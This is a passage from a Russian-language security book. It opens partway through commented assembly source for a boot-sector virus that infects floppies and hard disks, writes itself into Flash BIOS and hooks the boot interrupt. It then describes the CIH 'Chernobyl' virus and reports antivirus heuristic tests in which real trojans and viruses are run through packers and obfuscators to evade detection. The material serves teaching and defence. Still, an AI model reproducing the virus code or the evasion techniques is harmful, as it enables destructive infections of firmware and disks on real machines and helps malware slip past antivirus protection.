    jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

    ; диска для сохранения оригинального boot-сектора

    mov cx, 2

    xor dh, dh

    jmp write_virus

    infect_Floppy:

    ; Установим номера дорожки, головки и сектора для дискеты

    ; для сохранения оригинального boot-сектора

    mov сх, 14

    mov dh, 1

    Write_Virus:

    ; Записываем оригинальный boot-сектор

    mov ax, 0301h

    call int-lSh

    jc pop_exit

    ; Установим сегментный регистр ES на сегмент с вирусом

    push cs

    pop es

    ; Сбросим флаг зараженности Flash BIOS

    mov byte ptr cs:flash_done, 0

    ; 3апишем тело вируса в boot-сектор

    xor bx, bx

    mov ax, 0301h

    mov cx, 0001h

    xor dh, dh

    call int13h

    ; Восстановим регистры и флаги (как раз те их значения, которые

    ; свидетельствуют о том, что boot-сектор только что считали)

    Pop_Exit:

    pop ds

    pop es

    pop di

    pop si

    pop dx

    pop cx

    pop bx

    pop ax

    popf

    ; Выходим из обработчика в вызывающую программу

    retf2

    ; 3апуск оригинального обработчика

    jend:

    DD 0EAh ; Код команды JMP FAR ;

    Оригинальный вектор INT13h

    i13 DD 0

    ; Вызов прерывания INT 13h

    int13h proc near

    pushf

    call dword ptr cs:[i13]

    ret

    int13h endp

    ; Первые два байта слова используются как сигнатура

    Marker db "VLAD"

    ; Эта подпрограмма заражает Flash BIOS

    Flash_BIOS Proc Near

    ; Проверим наличие Flash BIOS

    mov ax, 0e000h

    int 16h

    jc no_flash_bios

    cmp al, 0FAh

    jne no_flash_bios

    ; Сначала найдем хорошее место для хранения вируса.

    ; Просканируем память F000h-FFFFh, где обычно находится BIOS,

    ; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

    ; но выделить нужно с запасом

    infect_Flash:

    ; Остановим начальный сегмент для поиска

    mov ax, 0F000h

    mov ds, ax

    ; Проверим сегмент

    New_segment:

    ; Остановим стартовое смещение

    xor si, si

    ; Остановим счетчик найденных байт

    ; (величина свободного места для вируса)

    xor dx, dx

    ok_new_segment:

    ; Перейдем к следующему сегменту

    inc ax

    mov ds, ax

    ; Проверим, есть ли еще место для вируса

    cmp ax, 0FFF0h

    je no_flash_BIOS

    ; Проверим, свободно ли место (для скорости проверяем словами)

    test16:

    cmp word ptr [si], 0

    jne new_segment

    ; Увеличим счетчик размера найденного свободного места

    inc dx

    ; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

    ; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

    cmp dx, 512

    je found_storage

    ; Увеличим смещение проверяемого байта

    inc si

    inc si

    ; Сравним с 16. Переходим к следующему сегменту

    ; в начале каждого параграфа

    cmp si, 16

    je ok_new_segment

    jmp test16

    ; B эту точку попадаем, если место найдено

    Found_storage:

    ; Перейдем к началу зоны

    sub ax, 40h

    mov ds, ax

    ; Получим требования к сохранению состояния чипа

    mov ax, 0E001h

    int 16h

    ; Проверим, сколько памяти необходимо для сохранения состояния

    ; чипа. Если слишком много, не будем сохранять состояние

    cmp bx, 512

    jbe save_chipset

    ; Установим флаг, показывающий, что состояние не сохраняли

    mov byte ptr cs:chipset, 1

    ; Перейдем к записи

    jmp write_enable

    ; Сюда попадаем, если Flash BIOS не обнаружен:

    ; записывать некуда – выходим

    No_Flash_BIOS:

    ret

    ; Сохраним состояние чипа

    save_chipset:

    ; Установим флаг, показывающий, что состояние сохранили

    mov byte ptr cs:chipset, 0

    ; Сохраним состояние

    mov al, 2

    push cs

    pop es

    mov di, offset buffer

    int 16h

    ; Записываемся во Flash BIOS

    write_enable:

    ; Повышаем напряжение

    mov al, 5

    int 16h

    ; Разрешаем запись во Flash BIOS

    mov al, 7

    int 16h

    ; Копируем 512 байт вируса во Flash BIOS

    push ds

    pop es

    xor di, di

    mov cx, 512

    push cs

    pop ds

    xor si, si

    cld

    rep movsb

    mov bx, es ; ВХ=сегмент вируса

    xor ах, ах

    mov ds, ax ; DS=Ta6nHua векторов

    mov di, word ptr [19h*4] ; Смещение INT 19h

    mov es, word ptr [19h*4+2] ; Сегмент INT 19h

    ; 3апишем JMP FAR по адресу точки входа в INT 19h

    mov al, 0EAh

    stosb

    mov ax, offset int19handler

    stosw

    mov ax, bx

    stosw

    ; Понизим напряжение

    mov ax, 0E004h

    int 16h

    ; 3ащитим Flash BIOS от записи

    mov al, 6

    int 16h

    ; Проверим, сохранялось ли состояние чипа, если нет – выходим

    cmp byte ptr cs:chipset, 0

    jne No_Flash_BIOS

    ; Восстановим состояние чипа

    push cs

    pop es

    mov al, 3

    mov di, offset buffer

    int 16h

    jmp No_Flash_BIOS

    ; Флаг несохранения состояния чипа

    chipset db 0

    ; Флаг присутствия вируса во Flash BIOS

    flash_done db 0

    ; Наш обработчик INT 19h.

    int19Handler Proc Near

    ; Установим сегментный регистр ES в ноль

    хог ах, ах

    mov es, ax

    ; Проверим наличие резидентного вируса

    mov ax, 0ABBAh

    int 13h

    ; Если вирус присутствует, то запускаем оригинальный

    ; обработчик прерывания INT 19h

    cmp ax, 0BAABh

    jne real_int19h

    ; Перенесем вирус из BIOS в boot-буфер

    push cs

    pop ds

    cld

    xor si, si

    mov di, 7c00h

    mov cx,512

    rep movsb

    ; 3апустим вирус в boot-буфере

    mov dl, 80h

    jmp goto_Buffer

    real_int19h:

    ; Произведем сброс дисковой подсистемы

    xor ax, ax

    int 13h

    ; Проинициализируем значения регистров для загрузки boot-сектора

    mov cx, 1

    mov dh, 0

    mov ax, 0201h

    mov bx, 7C00h

    ; Проверим, откуда грузимся: если DL не нулевой,

    ; переходим к загрузке с жесткого диска

    cmp dl, 0

    ja hd_int19h

    ; Прочтем boot-сектор с дискеты. Если при чтении происходит

    ; ошибка, то читаем с жесткого диска

    int 13h

     jc fix_hd

    ; Остановим флаг, показывающий присутствие вируса во Flash BIOS

    Goto_Buffer:

    mov byte ptr es:[7C00h+offset flash_done], 1

    ; 3апустим boot-сектор, находящийся в boot-буфере

    db 0EAh ; Код команды JMP FAR

    dw 7c00h

    dw 0 Fix_HD:

    ; Установим номер диска для загрузки (диск С)

    mov dl, 80h

    HD_int19h:

    ; Произведем сброс дисковой подсистемы

    хог ах, ах

    int 13h ;

    Прочтем boot-сектор

    mov ax, 0201h

    int 13h

    jc Boot

    jmp Goto_Buffer ;

    Если не удалось загрузить boot-сектор,

    ; вызываем прерывание INT 18h

    Boot:

    int 18h

    int19Handler EndP

    Flash_BIOS EndP

    End_Virus:

    ; Размер области памяти, необходимый для дополнения

    ; размера вируса до 510 байт

    DupSize equ 510-offset End_Virus

    ; Заполнение не занятой вирусом части сектора

    db DupSize dup (0)

    db 55h, 0aah

    Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

    Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.

    Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):

    ¦ настройка BIOS, контроль режима чтение только;

    ¦ контроль критических областей с помощью специализированных утилит типа ADINF32.

    Возможные варианты лечения:

    ¦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;

    ¦ радикальный метод – перепрошивка BIOS/замена микросхем.

    5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными

    В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:

    ¦ "Антивирус Касперского";

    ¦ ESET NOD32;

    ¦ Vba32 ("ВирусБлокАда").

    ПРИМЕЧАНИЕ

    В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".

    Методология проведения теста

    Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.

    Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.

    Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.

    "Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.

    Итак, пожалуй, начнем.

    Тест № 1

    Для проведения первого теста были использованы случайным образом отобранные из коллекции (579 штук) четыре экземпляра вредоносного кода:

    ¦ TrojanDownloader.13547;

    ¦ Backdoor. Win32Optix.b;

    ¦ Trojan-Win32PSW.QQRob.16;

    ¦ Trojan-Win32PSW.QQShou.EH.

    Каждый экземпляр был пропущен через PeStubOEP (программа предназначена для защиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверки следующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+".

    Рис. 5.3. TrojanDownloader.13547 был успешно найден

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.4).

    Рис. 5.4. Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.5).

    Рис. 5.5. Наш антивирус пока на высоте

    Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его, только после того как были установлены максимальные настройки:

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.6, 5.7).

    ПРИМЕЧАНИЕ

    Один из экземпляров вредоносного кода (Trojan-Win32PSW.QQShou.EH) Vba32 был определен как Trojan-Spy.Delf.13.

    Как видите, некоторые из экземпляров вредоносного кода могут быть обнаружены только с максимальными настройками, и совсем не факт, что антивирус расскажет вам всю правду.

    Рис. 5.6. Экспертный анализ – максимален!

    Рис. 5.7. Похож на Spy-Delf…

    Используем следующую партию экземпляров, случайно отобранных из коллекции:

    ¦ Trojan.Spambot;

    ¦ OS.cope.Worm.UK.Nuwar;

    ¦ Trojan-Proxy.WIN32.Lager.aq.

    Два троянских коня и червь были запакованы Tibs. Проверяем:

    ¦ Nod32 2.7 "-";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.8).

    Рис. 5.8. Результат проверки – Trojan.Spambot!

    ПРИМЕЧАНИЕ

    Как видите, здесь нас немного огорчил NOD32. Но не будем забывать, что даже качественно проработанный движок несовершенен.

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.9).

    Рис. 5.9. Самый настоящий червь!

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.10).

    Рис. 5.10. Прокси-троян у нас под колпаком

    Продолжаем наши эксперименты. Теперь возьмем три различных вируса и наобум запакуем их тремя различными упаковщиками. Троянского коня упаковываем NsAnti. Результаты:

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.11).

    Рис. 5.11. На ловца и зверь бежит!

    Теперь Trojan-Spy.Win32.AimSpy запакуем SkD Undetectabler Pro 2 SkDPRO. Результаты:

    ¦ Nod32 2.7 "-";

    ¦ "Антивирус Касперского 6.0" "-";

    ¦ Vba32 "-".

    ПРИМЕЧАНИЕ

    Ну вот, собственно, и настал момент истины. Заметьте, что ни один из наших антивирусных продуктов не смог обнаружить запакованный SkD Undetectabler Pro 2 SkDPRO троянский конь – SkD Undetectabler Pro 2 SkDPRO!

    Едем дальше. Trojan.Mezzia пакуем Zipworx SecureEXE. Результаты:

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.12).

    Рис. 5.12.Vba не спит

    Тест № 2

    Тест включает в себя упаковку одного вируса несколькими упаковщиками. В качестве «зло-кода» был использован известный Virus.Win32.Neshta.b. Итак, результаты.

    Пропускаем нашего "нечто" через WinUpack:

    ¦ Nod32 2.7 "-";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.13).

    Рис. 5.13. Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01:

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "-" (рис. 5.14).

    Рис. 5.14. Vba32 не видит наше «нечто»

    Пропускаем "нечто" через FSG. Результаты:

    ¦ Nod32 2.7 "+";

    ¦ "Антивирус Касперского 6.0" "+";

    ¦ Vba32 "+" (рис. 5.15).

    Рис. 5.15. И опять наш антивирус на высоте

    ПРИМЕЧАНИЕ

    Как видите, в этом тесте Vba32 не смог обнаружить "нечто", запакованного Arm Protector ver.01. Nod32 совсем не распознал Neshta, запакованного WinUpack. Вывод: совершенной эвристики нет – к ней лишь можно стремиться.

    Тест № 3

    В данном тесте был использован генератор вирусов APOKALIPSES. Из десяти сгенерированных экземпляров Vba32 обнаружил 8, Nod32 2.7 – 9, «Антивирус Касперского 6.0» обнаружил все.

    Для проведения четвертого теста был использован свеженаписанный вирус, форматирующий диски. Данный прием (применение в тесте вируса, заведомо отсутствующего в базах) позволяет с высокой долей вероятности определить качество эвристики, так как приближает работу эвристического анализатора к естественным, не лабораторным условиям.

    Итак, посмотрим на результаты. Vba32 не обнаружил вирусный код (рис. 5.16).

    Тест № 4

    Рис. 5.16. «В порядке!»

    "Антивирус Касперского 6.0" также ничего не обнаружил (рис. 5.17).

    Рис. 5.17. «Опасных объектов не обнаружено!»

    Лишь Nod32 обнаружил самописный вирус, классифицировав его как модификацию (рис. 5.18).

    Рис. 5.18. Здесь NOD32 показал себя с самой лучшей стороны

    Тест № 5

    Тест на противодействие обфускации. Подправим наш экземпляр (Trojan. Downloader.Win32.Zlob) вручную. Для этого внедрим пару неизвестных инструкций в оригинальный код. Зачем? Чтобы усложнить задачу по эмулированию новых инструкций эвристическим анализатором тестируемого антивируса: говоря простым языком, эмулятору будет более чем сложно узнать, откуда продолжать разбор кода.

    Полученную таким образом модификацию вирусного кода последовательно пропустим через ARM Protector, TeLock и Afx!AVSpoffer. Настоящий "biohazard"! Посмотрим, как с этим справятся наши антивирусы. Результаты:

    ¦ Nod32 2.7 "-";

    ¦ "Антивирус Касперского 6.0" "-";

    ¦ Vba32 "-".

    ПРИМЕЧАНИЕ

    Как вы можете видеть, ни одна из антивирусных программ не смогла вынести такой "biohazard".

    Тест № 6

    Eicar Test. Именно этот тест используется для проверки работоспособности антивирусных программ. Обоснованность проведения подобного теста при анализе эвристики особенно очевидна: стандартизованность EICAR позволяет получать результаты с минимальными погрешностями при определении способности антивируса работать с упаковщиками.

    Фактически, имитация вируса представляет собой такую последовательность: X5O!P%@AP[4\PZX54(P")7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    ПРИМЕЧАНИЕ

    Для проверки внесите данный текст в Блокнот, после чего попробуйте проверить ваш TXT антивирусом.

    Здесь тестовый текст был упакован десятью различными упаковщиками. Итак, результаты антивирусной проверки:

    ¦ Nod32 2.7 – обнаружил восемь экземпляров;

    ¦ "Антивирус Касперского 6.0" – обнаружил девять экземпляров;

    ¦ Vba32 – обнаружил восемь экземпляров.

    Тест № 7

    Тест на обнаружение полиморфных вариантов. Напомню нашим читателям, что в основе полиморфизма стоит способность вируса к изменению своего кода, так называемой «мутации» – образованию неузнаваемых антивирусом форм, что, к слову будет сказано, является идеальным вариантом для нашего теста.

    В качестве исследуемого мы используем Virus.Win32.Zombi, который представляет собой сложный полиморфный вирус. Вирус использует уникальную технологию встраивания в файлы: вначале он дизассемблирует исполняемый файл на составные части, встраивает свой код, после чего собирает файл, так чтобы вирусный код и код зараженного файла смешались. Для обхода эвристических анализаторов Virus.Win32.Zombie использует уникальную технологию декриптования своего тела.

    Итак, результаты:

    ¦ Nod32 2.7 – обнаружил;

    ¦ "Антивирус Касперского 6.0" – не обнаружил;

    ¦ Vba32 – обнаружил.

    Для "Антивируса Касперского 6.0" Virus.Win32.Zombi оказался не по зубам.









    Главная | В избранное | Наш E-MAIL | Добавить материал | Нашёл ошибку | Наверх